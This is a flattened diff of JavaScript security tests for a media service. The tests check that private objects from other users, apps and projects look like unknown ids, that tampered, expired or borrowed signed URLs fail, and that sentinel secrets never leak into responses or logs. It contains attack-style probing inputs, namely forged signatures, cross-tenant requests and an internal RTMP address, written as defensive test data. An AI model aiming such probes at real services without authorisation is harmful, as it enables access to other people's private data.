VOD is unlisted');++ assert.strictEqual(r.json.thumbs['7'].vod_id, pubVod, 'the newest PUBLIC VOD, not the newer private one');++ r = await get('/api/v1/live/vods?include_private=1', key('live-key'));++ assert.strictEqual(r.json.vods.length, 3, 'the app key itself may list everything (control)');++ r = await get('/api/v2/live/objects', asUser(77));++ assert.deepStrictEqual(r.json.objects.filter(o => [privObj, unlObj, pubObj].includes(o.id)).map(o => o.id).sort(), [pubObj, unlObj].sort(), 'v2 list for another user: public and unlisted (documented), never private');++ r = await get(`/api/v2/live/objects?visibility=private&owner=user:5&user_id=5`, asUser(77));++ assert.ok(!r.json.objects.some(o => o.id === privObj), 'no filter reaches another user\'s private objects');++ r = await get('/api/v2/live/jobs', asUser(77));++ assert.ok(!r.json.jobs.some(j => j.id === job.id), 'another user\'s jobs are not listed');++ r = await get('/api/v2/games/objects', key('games-key'));++ assert.ok(!r.json.objects.some(o => [privObj, unlObj, pubObj].includes(o.id)), 'another app lists none of this app\'s objects');++ r = await get(`/api/v2/${PB}/objects`, bearer(appTok(PB)));++ assert.deepStrictEqual(r.json.objects, [], 'another developer project lists nothing of this one');++ console.log('✅ v1 lists, latest-thumbs, v2 object and job lists: no private item of anyone else');-- // ── 2. Every v2 object read: another user, another app, another project, nobody → the unknown-id answer ──-- const O = (tenant, id, rest = '') => `/api/v2/${tenant}/objects/${id}${rest}`;-- for (const rest of ['', '/download', '/download?format=json', '/download?redirect=1', '/holds', '/holds?all=1']) {-- r = await same([O('live', privObj, rest), asUser(77)], [O('live', UNKNOWN, rest), asUser(77)], `another user: private ${rest || 'metadata'} looks missing`);-- assert.strictEqual(r.status, 404);-- await same([O('games', privObj, rest), key('games-key')], [O('games', UNKNOWN, rest), key('games-key')], `another app on its own tenant: ${rest || 'metadata'}`);-- await same([O('games', pubObj, rest), key('games-key')], [O('games', UNKNOWN, rest), key('games-key')], `another app does not reach even a public object through its tenant: ${rest || 'metadata'}`);-- await same([O('live', privObj, rest), key('games-key')], [O('live', UNKNOWN, rest), key('games-key')], `another app's key on this tenant: ${rest || 'metadata'}`);-- await same([O('live', privObj, rest)], [O('live', UNKNOWN, rest)], `no credential: ${rest || 'metadata'}`);-- await same([O(PB, projObj, rest), bearer(appTok(PB))], [O(PB, UNKNOWN, rest), bearer(appTok(PB))], `another project: ${rest || 'metadata'}`);-- await same([O(PA, projObj, rest), bearer(appTok(PB))], [O(PA, UNKNOWN, rest), bearer(appTok(PB))], `another project's token on this project: ${rest || 'metadata'}`);-- }-- await same([`/api/v2/live/jobs/${job.id}`, asUser(77)], ['/api/v2/live/jobs/mjob_nosuchjob', asUser(77)], 'another user\'s job looks missing');-- assert.strictEqual((await get(O('live', privObj), asUser(5))).status, 200, 'the owner reads it (control)');-- assert.strictEqual((await get(O('live', unlObj), asUser(77))).status, 200, 'unlisted is readable by id (documented)');-- assert.strictEqual((await get(O(PA, projObj), bearer(appTok(PA)))).status, 200, 'its project reads it (control)');-- console.log('✅ v2 object reads (metadata, download, holds, jobs): other users, apps, projects and nobody get the unknown-id answer');++ // ── 2. Every v2 object read: another user, another app, another project, nobody → the unknown-id answer ──++ const O = (tenant, id, rest = '') => `/api/v2/${tenant}/objects/${id}${rest}`;++ for (const rest of ['', '/download', '/download?format=json', '/download?redirect=1', '/holds', '/holds?all=1']) {++ r = await same([O('live', privObj, rest), asUser(77)], [O('live', UNKNOWN, rest), asUser(77)], `another user: private ${rest || 'metadata'} looks missing`);++ assert.strictEqual(r.status, 404);++ await same([O('games', privObj, rest), key('games-key')], [O('games', UNKNOWN, rest), key('games-key')], `another app on its own tenant: ${rest || 'metadata'}`);++ await same([O('games', pubObj, rest), key('games-key')], [O('games', UNKNOWN, rest), key('games-key')], `another app does not reach even a public object through its tenant: ${rest || 'metadata'}`);++ await same([O('live', privObj, rest), key('games-key')], [O('live', UNKNOWN, rest), key('games-key')], `another app's key on this tenant: ${rest || 'metadata'}`);++ await same([O('live', privObj, rest)], [O('live', UNKNOWN, rest)], `no credential: ${rest || 'metadata'}`);++ await same([O(PB, projObj, rest), bearer(appTok(PB))], [O(PB, UNKNOWN, rest), bearer(appTok(PB))], `another project: ${rest || 'metadata'}`);++ await same([O(PA, projObj, rest), bearer(appTok(PB))], [O(PA, UNKNOWN, rest), bearer(appTok(PB))], `another project's token on this project: ${rest || 'metadata'}`);++ }++ await same([`/api/v2/live/jobs/${job.id}`, asUser(77)], ['/api/v2/live/jobs/mjob_nosuchjob', asUser(77)], 'another user\'s job looks missing');++ assert.strictEqual((await get(O('live', privObj), asUser(5))).status, 200, 'the owner reads it (control)');++ assert.strictEqual((await get(O('live', unlObj), asUser(77))).status, 200, 'unlisted is readable by id (documented)');++ assert.strictEqual((await get(O(PA, projObj), bearer(appTok(PA)))).status, 200, 'its project reads it (control)');++ console.log('✅ v2 object reads (metadata, download, holds, jobs): other users, apps, projects and nobody get the unknown-id answer');-- // ── 3. Public serving with another app's identity; projected objects; the paste page ──-- const video = { accept: 'video/webm,*/*;q=0.5', 'sec-fetch-dest': 'video' };-- const nav = { accept: 'text/html,*/*;q=0.8', 'sec-fetch-dest': 'document' };-- for (const h of [video, nav]) {-- await same([`/v/${privVod}`, { ...h, ...key('games-key') }], ['/v/999999', { ...h, ...key('games-key') }], 'another app\'s key is nobody special on /v');-- await same([`/c/${privClip}`, { ...h, ...key('games-key') }], ['/c/999999', { ...h, ...key('games-key') }], 'another app\'s key is nobody special on /c');-- await same([`/c/${privClip}`, { ...h, ...asUser(77) }], ['/c/999999', { ...h, ...asUser(77) }], 'another user on /c');-- }-- await same(['/p/priv-page', nav], ['/p/no-such-paste', nav], 'a private paste page looks missing');-- await same(['/p/priv-page', { ...nav, ...asUser(77) }], ['/p/no-such-paste', { ...nav, ...asUser(77) }], 'a private paste page, for another user');-- await same([`/api/v1/games/vods/${pubVod}`, key('games-key')], ['/api/v1/games/vods/999999', key('games-key')], 'another app cannot read this app\'s VOD by id');-- await same([`/api/v1/games/clips/${privClip}`, key('games-key')], ['/api/v1/games/clips/999999', key('games-key')], 'nor its clip');-- const projected = raw.prepare('SELECT id, visibility FROM media_objects WHERE legacy_ref IS NOT NULL AND id IN (SELECT object_id FROM vods WHERE id IN (?, ?) UNION SELECT id FROM media_objects WHERE legacy_ref LIKE ? OR legacy_ref LIKE ?)')-- .all(privVod, unlVod, `%vod-${privVod}-222.jpg%`, `%clip-${privClip}-2.jpg%`);-- assert.ok(projected.length >= 2, `the private rows have projected objects (${JSON.stringify(projected)})`);-- for (const o of projected.filter(x => x.visibility === 'private')) {-- await same([`/o/${o.id}`], [`/o/${UNKNOWN}`], `projected private object ${o.id} looks missing on /o`);-- }-- assert.ok(projected.some(o => o.visibility === 'private'), 'a private row\'s objects are private');-- console.log('✅ /v /c /p with another app or user, v1 reads across apps, projected VOD/thumbnail objects on /o');++ // ── 3. Public serving with another app's identity; projected objects; the paste page ──++ const video = { accept: 'video/webm,*/*;q=0.5', 'sec-fetch-dest': 'video' };++ const nav = { accept: 'text/html,*/*;q=0.8', 'sec-fetch-dest': 'document' };++ for (const h of [video, nav]) {++ await same([`/v/${privVod}`, { ...h, ...key('games-key') }], ['/v/999999', { ...h, ...key('games-key') }], 'another app\'s key is nobody special on /v');++ await same([`/c/${privClip}`, { ...h, ...key('games-key') }], ['/c/999999', { ...h, ...key('games-key') }], 'another app\'s key is nobody special on /c');++ await same([`/c/${privClip}`, { ...h, ...asUser(77) }], ['/c/999999', { ...h, ...asUser(77) }], 'another user on /c');++ }++ await same(['/p/priv-page', nav], ['/p/no-such-paste', nav], 'a private paste page looks missing');++ await same(['/p/priv-page', { ...nav, ...asUser(77) }], ['/p/no-such-paste', { ...nav, ...asUser(77) }], 'a private paste page, for another user');++ await same([`/api/v1/games/vods/${pubVod}`, key('games-key')], ['/api/v1/games/vods/999999', key('games-key')], 'another app cannot read this app\'s VOD by id');++ await same([`/api/v1/games/clips/${privClip}`, key('games-key')], ['/api/v1/games/clips/999999', key('games-key')], 'nor its clip');++ const projected = await raw.prepare('SELECT id, visibility FROM media_objects WHERE legacy_ref IS NOT NULL AND id IN (SELECT object_id FROM vods WHERE id IN (?, ?) UNION SELECT id FROM media_objects WHERE legacy_ref ILIKE ? OR legacy_ref ILIKE ?)')++ .all(privVod, unlVod, `%vod-${privVod}-222.jpg%`, `%clip-${privClip}-2.jpg%`);++ assert.ok(projected.length >= 2, `the private rows have projected objects (${JSON.stringify(projected)})`);++ for (const o of projected.filter(x => x.visibility === 'private')) {++ await same([`/o/${o.id}`], [`/o/${UNKNOWN}`], `projected private object ${o.id} looks missing on /o`);++ }++ assert.ok(projected.some(o => o.visibility === 'private'), 'a private row\'s objects are private');++ console.log('✅ /v /c /p with another app or user, v1 reads across apps, projected VOD/thumbnail objects on /o');-- // ── 4. Signatures ──-- const miss = [`/o/${UNKNOWN}`];-- const good = signing.signedDownloadUrl(privObj, 60);-- const q = new URL(good.url).searchParams;-- assert.strictEqual((await get(local(good.url))).status, 200, 'a valid signature serves (control)');-- await same([`/o/${privObj}?exp=${now - 10}&sig=${signing.signedDownloadUrl(privObj, 60).url.split('sig=')[1]}`], miss, 'an old signature with a moved expiry');-- const expired = (() => { const real = Date.now; Date.now = () => real() - 3600 * 1000; try { return signing.signedDownloadUrl(privObj, 60); } finally { Date.now = real; } })();-- await same([local(expired.url)], miss, 'an expired signature looks like an unknown id');-- await same([`/o/${privObj}?exp=${Number(q.get('exp')) + 1000}&sig=${q.get('sig')}`], miss, 'a signature with its expiry pushed out');-- await same([`/o/${privObj}?exp=${q.get('exp')}&sig=${q.get('sig').slice(0, -2)}AA`], miss, 'a tampered signature');-- const other = new URL(signing.signedDownloadUrl(projObj, 60).url).searchParams;-- await same([`/o/${privObj}?exp=${other.get('exp')}&sig=${other.get('sig')}`], miss, 'another object\'s signature');-- await same([`/o/${sandboxObj}`], miss, 'a sandbox object is never public, whatever its visibility');-- await same([`/o/${projObj}`], miss, 'a project\'s private object without a signature');-- assert.strictEqual((await get(`/o/${unlObj}`)).status, 200, 'unlisted serves by direct link (control)');++ // ── 4. Signatures ──++ const miss = [`/o/${UNKNOWN}`];++ const good = signing.signedDownloadUrl(privObj, 60);++ const q = new URL(good.url).searchParams;++ assert.strictEqual((await get(local(good.url))).status, 200, 'a valid signature serves (control)');++ await same([`/o/${privObj}?exp=${now - 10}&sig=${signing.signedDownloadUrl(privObj, 60).url.split('sig=')[1]}`], miss, 'an old signature with a moved expiry');++ const expired = (() => { const real = Date.now; Date.now = () => real() - 3600 * 1000; try { return signing.signedDownloadUrl(privObj, 60); } finally { Date.now = real; } })();++ await same([local(expired.url)], miss, 'an expired signature looks like an unknown id');++ await same([`/o/${privObj}?exp=${Number(q.get('exp')) + 1000}&sig=${q.get('sig')}`], miss, 'a signature with its expiry pushed out');++ await same([`/o/${privObj}?exp=${q.get('exp')}&sig=${q.get('sig').slice(0, -2)}AA`], miss, 'a tampered signature');++ const other = new URL(signing.signedDownloadUrl(projObj, 60).url).searchParams;++ await same([`/o/${privObj}?exp=${other.get('exp')}&sig=${other.get('sig')}`], miss, 'another object\'s signature');++ await same([`/o/${sandboxObj}`], miss, 'a sandbox object is never public, whatever its visibility');++ await same([`/o/${projObj}`], miss, 'a project\'s private object without a signature');++ assert.strictEqual((await get(`/o/${unlObj}`)).status, 200, 'unlisted serves by direct link (control)');-- // Sandbox files (/f/:key): only a valid signed URL, and a bad one looks like an unknown key.-- const fd = new FormData();-- fd.append('file', new Blob([Buffer.from('sandbox bytes')], { type: 'text/plain' }), 's.txt');-- const up = await fetch(`${base}/api/v1/${PA}/files`, { method: 'POST', headers: bearer(appTok(PA, 'sandbox')), body: fd });-- const file = await up.json();-- assert.strictEqual(up.status, 201, JSON.stringify(file));-- const fq = new URL(file.url).searchParams;-- const k = encodeURIComponent(file.key);-- assert.strictEqual((await get(local(file.url))).status, 200, 'the signed sandbox file URL serves (control)');-- const fmiss = ['/f/no-such-file-key.txt'];-- await same([`/f/${k}`], fmiss, 'a sandbox file without a signature looks missing');-- await same([`/f/${k}?exp=${Number(fq.get('exp')) + 1000}&sig=${fq.get('sig')}`], fmiss, 'a sandbox file signature with its expiry pushed out');-- await same([`/f/${k}?exp=${now - 10}&sig=${signing.signedFileUrl(file.key, 60).url.split('sig=')[1]}`], fmiss, 'an expired sandbox file signature');-- const otherFile = new URL(signing.signedFileUrl('another-key.txt', 60).url).searchParams;-- await same([`/f/${k}?exp=${otherFile.get('exp')}&sig=${otherFile.get('sig')}`], fmiss, 'another file\'s signature');-- console.log('✅ signatures: expired, extended, tampered and other objects\' or files\' signatures answer as an unknown id');++ // Sandbox files (/f/:key): only a valid signed URL, and a bad one looks like an unknown key.++ const fd = new FormData();++ fd.append('file', new Blob([Buffer.from('sandbox bytes')], { type: 'text/plain' }), 's.txt');++ const up = await fetch(`${base}/api/v1/${PA}/files`, { method: 'POST', headers: bearer(appTok(PA, 'sandbox')), body: fd });++ const file = await up.json();++ assert.strictEqual(up.status, 201, JSON.stringify(file));++ const fq = new URL(file.url).searchParams;++ const k = encodeURIComponent(file.key);++ assert.strictEqual((await get(local(file.url))).status, 200, 'the signed sandbox file URL serves (control)');++ const fmiss = ['/f/no-such-file-key.txt'];++ await same([`/f/${k}`], fmiss, 'a sandbox file without a signature looks missing');++ await same([`/f/${k}?exp=${Number(fq.get('exp')) + 1000}&sig=${fq.get('sig')}`], fmiss, 'a sandbox file signature with its expiry pushed out');++ await same([`/f/${k}?exp=${now - 10}&sig=${signing.signedFileUrl(file.key, 60).url.split('sig=')[1]}`], fmiss, 'an expired sandbox file signature');++ const otherFile = new URL(signing.signedFileUrl('another-key.txt', 60).url).searchParams;++ await same([`/f/${k}?exp=${otherFile.get('exp')}&sig=${otherFile.get('sig')}`], fmiss, 'another file\'s signature');++ console.log('✅ signatures: expired, extended, tampered and other objects\' or files\' signatures answer as an unknown id');-- server.close();-- fs.rmSync(tmp, { recursive: true, force: true });-- console.log('security-private: all checks passed');-- process.exit(0);--})().catch((err) => { console.error(err); server.close(); process.exit(1); });++ server.close();++ fs.rmSync(tmp, { recursive: true, force: true });++ console.log('security-private: all checks passed');++ process.exit(0);++ })().catch((err) => { console.error(err); server.close(); process.exit(1); });++})().catch((err) => { console.error(err); process.exit(1); });@@@ -17,295 +17,297 @@ const path = require('path');const http = require('http');const crypto = require('crypto');--const ROOT = path.join(__dirname, '..');--const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-secrets-'));--const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };--const CLOSED = 'http://127.0.0.1:9'; // nothing listens there: no tier, Live or Events is ever reached----// ── Sentinels ────────────────────────────────────────────────--const S = (name) => `sentinel-not-a-secret-${name}`;--const LIVE_KEY = S('live-app-key');--const GAMES_KEY = S('games-app-key');--const SECRET_ENV = {-- INTERNAL_API_KEY: S('internal-api-key'),-- MEDIA_SIGNING_SECRET: S('media-signing-secret'),-- MEDIA_SECRET: S('media-secret'),-- VIEW_HASH_SECRET: S('view-hash-secret'),-- MEDIA_INBOUND_EVENTS_SECRET: S('media-inbound-events-secret'),-- OV_OAUTH_CLIENT_SECRET: S('oauth-client-secret'),-- MEDIA_B2_KEY_ID: S('b2-key-id'),-- MEDIA_B2_APP_KEY: S('b2-app-key'),-- MEDIA_R2_ACCESS_KEY_ID: S('r2-access-key-id'),-- MEDIA_R2_SECRET_ACCESS_KEY: S('r2-secret-access-key'),-- MEDIA_APP_KEYS: `live:${LIVE_KEY}`,-- MEDIA_APPS_SEED: JSON.stringify([{ app_id: 'games', name: 'Games', api_key: GAMES_KEY, webhook_url: `${CLOSED}/hook`, webhook_secret: S('games-webhook-secret'), allowed_origins: ['https://games.test'] }]),--};--const sentinels = new Map([-- ...Object.entries(SECRET_ENV).filter(([k]) => !['MEDIA_APP_KEYS', 'MEDIA_APPS_SEED'].includes(k)),-- ['live app key', LIVE_KEY], ['games app key', GAMES_KEY], ['games webhook secret', S('games-webhook-secret')],-- ['stream key', S('stream-key')], ['rtmp path key', S('rtmp-path-key')],--]);++(async () => {++ const ROOT = path.join(__dirname, '..');++ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-secrets-'));++ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };++ const CLOSED = 'http://127.0.0.1:9'; // nothing listens there: no tier, Live or Events is ever reached--// Every secret-looking variable the service reads has a sentinel above.--{-- const names = new Set();-- const walk = (d) => { for (const e of fs.readdirSync(d, { withFileTypes: true })) { const p = path.join(d, e.name); if (e.isDirectory()) walk(p); else if (p.endsWith('.js')) for (const m of fs.readFileSync(p, 'utf8').matchAll(/process\.env\.([A-Z0-9_]+)/g)) names.add(m[1]); } };-- walk(path.join(ROOT, 'server'));-- for (const line of fs.readFileSync(path.join(ROOT, '.env.example'), 'utf8').split('\n')) { const m = /^\s*#?\s*([A-Z][A-Z0-9_]+)=/.exec(line); if (m) names.add(m[1]); }-- const secretish = [...names].filter(n => /SECRET|_KEY$|_KEYS$|KEY_ID$|TOKEN|PASSWORD|PASSWD|CREDENTIAL|_SEED$|PRIVATE/.test(n) && !/_(S|MS|MB|GB|MIN|HOURS|DAYS)$/.test(n)); // not the numeric settings (MEDIA_UPLOAD_TOKEN_TTL_S)-- assert.ok(secretish.length >= 10, `found the secret variables (${secretish})`);-- for (const n of secretish) assert.ok(Object.prototype.hasOwnProperty.call(SECRET_ENV, n), `${n} is read by the service: give it a sentinel in test/security-secrets.test.js`);--}++ // ── Sentinels ────────────────────────────────────────────────++ const S = (name) => `sentinel-not-a-secret-${name}`;++ const LIVE_KEY = S('live-app-key');++ const GAMES_KEY = S('games-app-key');++ const SECRET_ENV = {++ INTERNAL_API_KEY: S('internal-api-key'),++ MEDIA_SIGNING_SECRET: S('media-signing-secret'),++ MEDIA_SECRET: S('media-secret'),++ VIEW_HASH_SECRET: S('view-hash-secret'),++ MEDIA_INBOUND_EVENTS_SECRET: S('media-inbound-events-secret'),++ OV_OAUTH_CLIENT_SECRET: S('oauth-client-secret'),++ MEDIA_B2_KEY_ID: S('b2-key-id'),++ MEDIA_B2_APP_KEY: S('b2-app-key'),++ MEDIA_R2_ACCESS_KEY_ID: S('r2-access-key-id'),++ MEDIA_R2_SECRET_ACCESS_KEY: S('r2-secret-access-key'),++ MEDIA_APP_KEYS: `live:${LIVE_KEY}`,++ MEDIA_APPS_SEED: JSON.stringify([{ app_id: 'games', name: 'Games', api_key: GAMES_KEY, webhook_url: `${CLOSED}/hook`, webhook_secret: S('games-webhook-secret'), allowed_origins: ['https://games.test'] }]),++ };++ const sentinels = new Map([++ ...Object.entries(SECRET_ENV).filter(([k]) => !['MEDIA_APP_KEYS', 'MEDIA_APPS_SEED'].includes(k)),++ ['live app key', LIVE_KEY], ['games app key', GAMES_KEY], ['games webhook secret', S('games-webhook-secret')],++ ['stream key', S('stream-key')], ['rtmp path key', S('rtmp-path-key')],++ ]);--// A throwaway Network signing key: service tokens and staff sign-ins verify against it; its private half must never show.--const keys = crypto.generateKeyPairSync('rsa', { modulusLength: 2048, publicKeyEncoding: { type: 'spki', format: 'pem' }, privateKeyEncoding: { type: 'pkcs8', format: 'pem' } });--sentinels.set('network private key', keys.privateKey.split('\n')[5]);++ // Every secret-looking variable the service reads has a sentinel above.++ {++ const names = new Set();++ const walk = (d) => { for (const e of fs.readdirSync(d, { withFileTypes: true })) { const p = path.join(d, e.name); if (e.isDirectory()) walk(p); else if (p.endsWith('.js')) for (const m of fs.readFileSync(p, 'utf8').matchAll(/process\.env\.([A-Z0-9_]+)/g)) names.add(m[1]); } };++ walk(path.join(ROOT, 'server'));++ for (const line of fs.readFileSync(path.join(ROOT, '.env.example'), 'utf8').split('\n')) { const m = /^\s*#?\s*([A-Z][A-Z0-9_]+)=/.exec(line); if (m) names.add(m[1]); }++ const secretish = [...names].filter(n => /SECRET|_KEY$|_KEYS$|KEY_ID$|TOKEN|PASSWORD|PASSWD|CREDENTIAL|_SEED$|PRIVATE/.test(n) && !/_(S|MS|MB|GB|MIN|HOURS|DAYS)$/.test(n)); // not the numeric settings (MEDIA_UPLOAD_TOKEN_TTL_S)++ assert.ok(secretish.length >= 10, `found the secret variables (${secretish})`);++ for (const n of secretish) assert.ok(Object.prototype.hasOwnProperty.call(SECRET_ENV, n), `${n} is read by the service: give it a sentinel in test/security-secrets.test.js`);++ }--// Output of the service (console lines) is kept to be checked too.--let logs = '';--for (const stream of [process.stdout, process.stderr]) {-- const write = stream.write.bind(stream);-- stream.write = (chunk, ...rest) => { logs += String(chunk); return write(chunk, ...rest); };--}++ // A throwaway Network signing key: service tokens and staff sign-ins verify against it; its private half must never show.++ const keys = crypto.generateKeyPairSync('rsa', { modulusLength: 2048, publicKeyEncoding: { type: 'spki', format: 'pem' }, privateKeyEncoding: { type: 'pkcs8', format: 'pem' } });++ sentinels.set('network private key', keys.privateKey.split('\n')[5]);--// A stand-in Network on loopback: its signing key for tokens and sign-ins; no service tokens (503).--const network = http.createServer((req, res) => {-- if (req.url === '/api/.well-known/jwks') {-- const jwk = crypto.createPublicKey(keys.publicKey).export({ format: 'jwk' });-- res.writeHead(200, { 'content-type': 'application/json' });-- return res.end(JSON.stringify({ keys: [{ ...jwk, kid: 'test', alg: 'RS256', use: 'sig' }], public_key: keys.publicKey, algorithm: 'RS256' }));++ // Output of the service (console lines) is kept to be checked too.++ let logs = '';++ for (const stream of [process.stdout, process.stderr]) {++ const write = stream.write.bind(stream);++ stream.write = (chunk, ...rest) => { logs += String(chunk); return write(chunk, ...rest); };}-- req.resume();-- res.writeHead(503, { 'content-type': 'application/json' });-- res.end('{"error":"unavailable"}');--});--(async () => {-- await new Promise((r) => network.listen(0, '127.0.0.1', r));-- const NET = `http://127.0.0.1:${network.address().port}`;-- Object.assign(process.env, SECRET_ENV, {-- PORT: '0', HOST: '127.0.0.1', NODE_ENV: 'test',-- DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), PASTES_PATH: dir('pastes'),-- THUMBNAILS_PATH: dir('thumbnails'), FILES_PATH: dir('files'), OBJECTS_PATH: dir('objects'), ASSETS_PATH: dir('assets'),-- MEDIA_PUBLIC_URL: 'https://media.test', OV_NETWORK_URL: NET, OV_NETWORK_INTERNAL_URL: NET, EVENTS_URL: NET,-- OV_LIVE_INTERNAL_URL: CLOSED, LIVE_APP_INTERNAL_URL: CLOSED, APP_INTERNAL_URLS: JSON.stringify({ live: CLOSED }),-- MEDIA_B2_ENDPOINT: CLOSED, MEDIA_B2_BUCKET: 'b2-bucket', MEDIA_B2_REGION: 'us-west-004',-- MEDIA_R2_ENDPOINT: CLOSED, MEDIA_R2_BUCKET: 'r2-bucket', MEDIA_R2_REGION: 'auto',-- MEDIA_JOBS_ENABLED: '0', MEDIA_VERIFY_ENABLED: '0', MEDIA_OWNER_SUBJECT_SYNC: '0', MEDIA_LINEAGE: 'off',++ // A stand-in Network on loopback: its signing key for tokens and sign-ins; no service tokens (503).++ const network = http.createServer((req, res) => {++ if (req.url === '/api/.well-known/jwks') {++ const jwk = crypto.createPublicKey(keys.publicKey).export({ format: 'jwk' });++ res.writeHead(200, { 'content-type': 'application/json' });++ return res.end(JSON.stringify({ keys: [{ ...jwk, kid: 'test', alg: 'RS256', use: 'sig' }], public_key: keys.publicKey, algorithm: 'RS256' }));++ }++ req.resume();++ res.writeHead(503, { 'content-type': 'application/json' });++ res.end('{"error":"unavailable"}');});-- for (const k of ['MEDIA_DRILL', 'PASTES_MOVED_TO', 'EVENTS_PUBLISH']) delete process.env[k];-- const { app, server } = require('../server/index.js');-- if (!server.listening) await new Promise((r) => server.once('listening', r));-- const auth = require('../server/auth');-- auth._setNetworkPublicKeyForTests(keys.publicKey);-- const db = require('../server/db/database');-- const base = `http://127.0.0.1:${server.address().port}`;++ (async () => {++ await new Promise((r) => network.listen(0, '127.0.0.1', r));++ const NET = `http://127.0.0.1:${network.address().port}`;++ Object.assign(process.env, SECRET_ENV, {++ PORT: '0', HOST: '127.0.0.1', NODE_ENV: 'test',++ DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), PASTES_PATH: dir('pastes'),++ THUMBNAILS_PATH: dir('thumbnails'), FILES_PATH: dir('files'), OBJECTS_PATH: dir('objects'), ASSETS_PATH: dir('assets'),++ MEDIA_PUBLIC_URL: 'https://media.test', OV_NETWORK_URL: NET, OV_NETWORK_INTERNAL_URL: NET, EVENTS_URL: NET,++ OV_LIVE_INTERNAL_URL: CLOSED, LIVE_APP_INTERNAL_URL: CLOSED, APP_INTERNAL_URLS: JSON.stringify({ live: CLOSED }),++ MEDIA_B2_ENDPOINT: CLOSED, MEDIA_B2_BUCKET: 'b2-bucket', MEDIA_B2_REGION: 'us-west-004',++ MEDIA_R2_ENDPOINT: CLOSED, MEDIA_R2_BUCKET: 'r2-bucket', MEDIA_R2_REGION: 'auto',++ MEDIA_JOBS_ENABLED: '0', MEDIA_VERIFY_ENABLED: '0', MEDIA_OWNER_SUBJECT_SYNC: '0', MEDIA_LINEAGE: 'off',++ });++ for (const k of ['MEDIA_DRILL', 'PASTES_MOVED_TO', 'EVENTS_PUBLISH']) delete process.env[k];-- // ── Credentials ──-- const now = Math.floor(Date.now() / 1000);-- const { serviceAuth } = require('openvibe-contracts');-- const svcToken = (over = {}) => serviceAuth.signServiceToken({-- iss: NET, sub: 'svc:example', actor_type: 'service', aud: ['openvibe.media'], cap: ['media.object.upload', 'media.object.read', 'media.object.list', 'media.derivative.create'],-- ns: ['live', 'live.*'], iat: now, exp: now + 300, jti: `tok_${crypto.randomBytes(6).toString('hex')}`, ...over,-- }, keys.privateKey);-- const jwt = require('jsonwebtoken');-- const staff = jwt.sign({ sub: 1, subject_id: 'usr_01JAB2C3D4E5F6G7H8J9K0MNPQ', username: 'staff', role: 'admin', aud: ['openvibe.media', 'openvibe.network'] }, keys.privateKey, { algorithm: 'RS256', issuer: NET, expiresIn: 300 });-- const IDS = {-- anonymous: {},-- wrongKey: { authorization: 'Bearer wrong-key' },-- otherApp: { authorization: `Bearer ${GAMES_KEY}` },-- app: { authorization: `Bearer ${LIVE_KEY}` },-- acting: { authorization: `Bearer ${LIVE_KEY}`, 'x-ov-user-id': '5' },-- service: { authorization: `Bearer ${svcToken()}` },-- expiredService: { authorization: `Bearer ${svcToken({ iat: now - 900, exp: now - 600 })}` },-- staff: { authorization: `Bearer ${staff}` },-- staffCookie: { cookie: `ov_token=${staff}` },-- };++ const { app, server } = await require('../server/index.js').ready;++ if (!server.listening) await new Promise((r) => server.once('listening', r));++ const auth = require('../server/auth');++ auth._setNetworkPublicKeyForTests(keys.publicKey);++ const db = require('../server/db/database');++ const base = `http://127.0.0.1:${server.address().port}`;-- // ── Requests: every answer is kept for the scan ──-- const seen = [];-- const call = async (method, p, { headers = {}, body, json, as } = {}) => {-- const h = { ...headers };-- let payload = body;-- if (json !== undefined) { h['content-type'] = 'application/json'; payload = JSON.stringify(json); }-- const res = await fetch(base + p, { method, headers: h, body: payload, redirect: 'manual' });-- const buf = Buffer.from(await res.arrayBuffer());-- const text = buf.toString('latin1');-- seen.push({ where: `${method} ${p} [${as || Object.keys(headers).join(',') || 'anonymous'}]`, status: res.status, text, headers: [...res.headers].map(([k, v]) => `${k}: ${v}`).join('\n') });-- let parsed = null; try { parsed = JSON.parse(buf.toString('utf8')); } catch { /* not JSON */ }-- return { status: res.status, body: parsed, text };-- };++ // ── Credentials ──++ const now = Math.floor(Date.now() / 1000);++ const { serviceAuth } = require('openvibe-contracts');++ const svcToken = (over = {}) => serviceAuth.signServiceToken({++ iss: NET, sub: 'svc:example', actor_type: 'service', aud: ['openvibe.media'], cap: ['media.object.upload', 'media.object.read', 'media.object.list', 'media.derivative.create'],++ ns: ['live', 'live.*'], iat: now, exp: now + 300, jti: `tok_${crypto.randomBytes(6).toString('hex')}`, ...over,++ }, keys.privateKey);++ const jwt = require('jsonwebtoken');++ const staff = jwt.sign({ sub: 1, subject_id: 'usr_01JAB2C3D4E5F6G7H8J9K0MNPQ', username: 'staff', role: 'admin', aud: ['openvibe.media', 'openvibe.network'] }, keys.privateKey, { algorithm: 'RS256', issuer: NET, expiresIn: 300 });++ const IDS = {++ anonymous: {},++ wrongKey: { authorization: 'Bearer wrong-key' },++ otherApp: { authorization: `Bearer ${GAMES_KEY}` },++ app: { authorization: `Bearer ${LIVE_KEY}` },++ acting: { authorization: `Bearer ${LIVE_KEY}`, 'x-ov-user-id': '5' },++ service: { authorization: `Bearer ${svcToken()}` },++ expiredService: { authorization: `Bearer ${svcToken({ iat: now - 900, exp: now - 600 })}` },++ staff: { authorization: `Bearer ${staff}` },++ staffCookie: { cookie: `ov_token=${staff}` },++ };-- // ── Data to serve: a VOD carrying a stream key, a clip, objects public and private, a file, a hold ──-- let r = await call('POST', '/api/v1/live/vods', { headers: IDS.app, json: { title: 'Keyed', user_id: 5, stream_key: S('stream-key'), visibility: 'public' } });-- assert.strictEqual(r.status, 201, r.text);-- const vodId = r.body.id;-- const vodFile = path.join(process.env.VOD_PATH, `vod-${vodId}.webm`);-- fs.writeFileSync(vodFile, Buffer.alloc(64, 1));-- db.run('UPDATE vods SET file_path = ?, duration_seconds = 10 WHERE id = ?', [vodFile, vodId]);-- r = await call('POST', `/api/v1/live/vods/${vodId}/ingest/rtmp`, { headers: IDS.app, json: { rtmp_url: `rtmp://10.0.0.5:1935/live/${S('rtmp-path-key')}` } });-- assert.ok(r.status >= 400, 'an address off the RTMP allow-list is refused');-- const clipFile = path.join(process.env.CLIPS_PATH, 'clip-a.webm');-- fs.writeFileSync(clipFile, Buffer.alloc(32, 